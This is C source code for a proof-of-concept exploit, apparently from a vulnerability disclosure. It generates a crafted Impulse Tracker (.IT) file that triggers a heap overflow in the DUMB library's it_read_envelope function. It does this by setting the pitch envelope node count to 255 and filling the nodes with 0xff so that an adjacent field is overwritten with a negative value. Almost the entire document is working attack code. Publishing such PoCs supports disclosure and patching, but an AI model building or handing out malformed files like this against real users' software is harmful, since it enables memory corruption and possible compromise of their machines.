|
|
/*
by Luigi Auriemma
*/
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h>
#define VER "0.1" #define BOF 255 // 25 < BOF < 256 #define INSTRSZ 371 #define POCNAME "proof-of-concept"
void fwi08(FILE *fd, int num); void fwi16(FILE *fd, int num); void fwi32(FILE *fd, int num); void fwb08(FILE *fd, int num); void fwb16(FILE *fd, int num); void fwb32(FILE *fd, int num); void fwstr(FILE *fd, uint8_t *str); void fwstx(FILE *fd, uint8_t *str, int size); void fwmem(FILE *fd, uint8_t *data, int size); int bits2num(uint8_t *bits); void std_err(void);
#pragma pack(1) typedef struct { uint8_t sign[4]; // IMPM uint8_t name[26]; uint16_t PHiligt; uint16_t OrdNum; uint16_t InsNum; uint16_t SmpNum; uint16_t PatNum; uint16_t Cwtv; uint16_t Cmwt; uint16_t Flags; uint16_t Special; uint8_t GV; uint8_t MV; uint8_t IS; uint8_t IT; uint8_t Sep; uint8_t PWD; uint16_t MsgLgth; uint32_t MsgOff; uint32_t Reserved; } it_t;
typedef struct { uint8_t Flg; uint8_t Num; uint8_t LpB; uint8_t LpE; uint8_t SLB; uint8_t SLE; // int8_t node_y[25]; // uint16_t node_t[25]; } it_env_t;
typedef struct { uint8_t sign[4]; // IMPI uint8_t filename[13]; uint8_t NNA; uint8_t DCT; uint8_t DCA; uint16_t FadeOut; uint8_t PPS; uint8_t PPC; uint8_t GbV; uint8_t DfP; uint8_t RV; uint8_t RP; uint16_t TrkVers; uint16_t NoS; uint8_t insname[26]; uint8_t IFC; uint8_t IFR; uint8_t MCh; uint8_t MPr; uint16_t MIDIBnk; uint8_t nsample[120]; uint8_t ktable[120]; } it_ins_t; #pragma pack()
int main(int argc, char *argv[]) { FILE *fd; it_t it; it_ins_t it_ins; it_env_t it_env; int i, off; char *fname;
setbuf(stdout, NULL);
fputs("n" "Dumb <= 0.9.3 (CVS 16 Jul 2006) heap overflow in it_read_envelope "VER"n" "by Luigi Auriemman" "e-mail: E-mail; "web: aluigi.orgn" "n", stdout);
if(argc < 2) { printf("n" "Usage: %s <output_file.IT>n" "n" "Note: this proof-of-concept is not optimized, it gives only an idea of the bugn" "n", argv[0]); exit(1); }
fname = argv[1];
printf("- create file %sn", fname); fd = fopen(fname, "wb"); if(!fd) std_err();
memset(&it, 0, sizeof(it)); memcpy(it.sign, "IMPM", 4); strncpy(it.name, POCNAME, sizeof(it.name)); it.Cmwt = 0x200; it.OrdNum = 1; // required it.InsNum = 1; // envelope is read here
off = sizeof(it) + 64 + 64 + (it.OrdNum * 1) + (it.InsNum * 4) + (it.SmpNum * 4) + (it.PatNum * 4);
for(i = 0; i < off; i++) fputc(0, fd); // create needed space
/* it_read_instrument */
memset(&it_ins, 0, sizeof(it_ins)); memcpy(it_ins.sign, "IMPI", 4); strncpy(it_ins.filename, POCNAME, sizeof(it_ins.filename)); strncpy(it_ins.insname, POCNAME, sizeof(it_ins.insname));
fwrite(&it_ins, sizeof(it_ins), 1, fd);
/* it_read_envelope */
memset(&it_env, 0, sizeof(it_env));
/* instrument->volume_envelope */
it_env.Num = 25; fwrite(&it_env, sizeof(it_env), 1, fd); for(i = 0; i < it_env.Num; i++) { fwi08(fd, 0x61); // envelope->node_y[i] fwi16(fd, 0x6161); // envelope->node_t[i] } for(i = 75 - (it_env.Num * 3) + 1; i; i--) { fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1 }
/* instrument->pan_envelope */
it_env.Num = 25; fwrite(&it_env, sizeof(it_env), 1, fd); for(i = 0; i < it_env.Num; i++) { fwi08(fd, 0x62); // envelope->node_y[i] fwi16(fd, 0x6262); // envelope->node_t[i] } for(i = 75 - (it_env.Num * 3) + 1; i; i--) { fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1 }
/* instrument->pitch_envelope */
it_env.Num = BOF; fwrite(&it_env, sizeof(it_env), 1, fd); for(i = 0; i < it_env.Num; i++) { fwi08(fd, 0xff); // envelope->node_y[i] fwi16(fd, 0xffff); // envelope->node_t[i] } /* 0xff is used for overwriting sampfirst with a negative value! */ /* m = component[n].sampfirst; */ /* Note: this PoC is not optimized */
printf( "- the IT_INSTRUMENT structure will be overflowed:n" " there are %d bytes from the end of pitch_envelope to the end of map_samplen" " while %d bytes will be written by this proof-of-conceptn", INSTRSZ, ((BOF - 25) * sizeof(unsigned short)) + INSTRSZ);
/* it_load_sigdata */
fseek(fd, 0, SEEK_SET);
fwrite(&it, sizeof(it), 1, fd);
for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_pan for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_volume
for(i = 0; i < it.OrdNum; i++) { fwi08(fd, 255); // sigdata->order } // 255 for found_some = 0 or will SIGFPE for(i = 0; i < it.InsNum; i++) { fwi32(fd, off); // component[n_components].offset } // for(i = 0; i < it.SmpNum; i++) fwi32(fd, off); // for(i = 0; i < it.PatNum; i++) fwi32(fd, off); // for(i = 0; i < it.MsgLgth; i++) fwi08(fd, 'a');
fclose(fd); printf("- finishedn"); return(0); }
void fwi08(FILE *fd, int num) { fputc((num ) & 0xff, fd); }
void fwi16(FILE *fd, int num) { fputc((num ) & 0xff, fd); fputc((num >> 8) & 0xff, fd); }
void fwi32(FILE *fd, int num) { fputc((num ) & 0xff, fd); fputc((num >> 8) & 0xff, fd); fputc((num >> 16) & 0xff, fd); fputc((num >> 24) & 0xff, fd); }
void fwb08(FILE *fd, int num) { fputc((num ) & 0xff, fd); }
void fwb16(FILE *fd, int num) { fputc((num >> 8) & 0xff, fd); fputc((num ) & 0xff, fd); }
void fwb32(FILE *fd, int num) { fputc((num >> 24) & 0xff, fd); fputc((num >> 16) & 0xff, fd); fputc((num >> 8) & 0xff, fd); fputc((num ) & 0xff, fd); }
void fwstr(FILE *fd, uint8_t *str) { fputs(str, fd); }
void fwstx(FILE *fd, uint8_t *str, int size) { int i;
for(i = 0; str[i] && (i < size); i++) { fputc(str[i], fd); } for(; i < size; i++) { fputc(0, fd); } }
void fwmem(FILE *fd, uint8_t *data, int size) { fwrite(data, size, 1, fd); }
int bits2num(uint8_t *bits) { int i, out = 0;
for(i = 0; i < 32; i++) { if(bits[i] == '1') { out = (out << 1) | 1; } else if(bits[i] == '0') { out <<= 1; } else { break; } } return(out); }
void std_err(void) { perror("nError"); exit(1); }
|
|